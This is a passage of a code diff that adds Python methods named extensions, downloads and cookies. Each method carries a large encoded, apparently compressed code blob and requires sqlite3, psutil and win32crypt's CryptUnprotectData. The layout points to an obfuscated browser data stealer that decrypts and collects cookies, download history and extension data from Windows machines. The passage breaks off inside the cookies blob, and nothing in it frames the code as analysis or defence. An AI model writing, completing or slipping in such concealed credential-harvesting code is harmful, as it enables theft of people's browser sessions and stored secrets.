"import": None}, + {"module": "psutil", "path":[], "import": None}, + {"module": "sqlite3", "path":[], "import": None}, + {"module": "win32crypt", "path":[], "import": "CryptUnprotectData"}, + ], + } + + @staticmethod + def extensions(): + blob = ('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') + return { + "name": "Extensions", + "blob": blob, + "func": "_extensions", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "json", "path":[], "import": None}, + {"module": "base64", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + {"module": "win32crypt", "path":[], "import": "CryptUnprotectData"}, + ], + } + + @staticmethod + def downloads(): + blob = ('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') + return { + "name": "Downloads", + "blob": blob, + "func": "_downloads", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "json", "path":[], "import": None}, + {"module": "base64", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + {"module": "sqlite3", "path":[], "import": None}, + {"module": "win32crypt", "path":[], "import": "CryptUnprotectData"}, + ], + } + + @staticmethod + def cookies(): + blob = ('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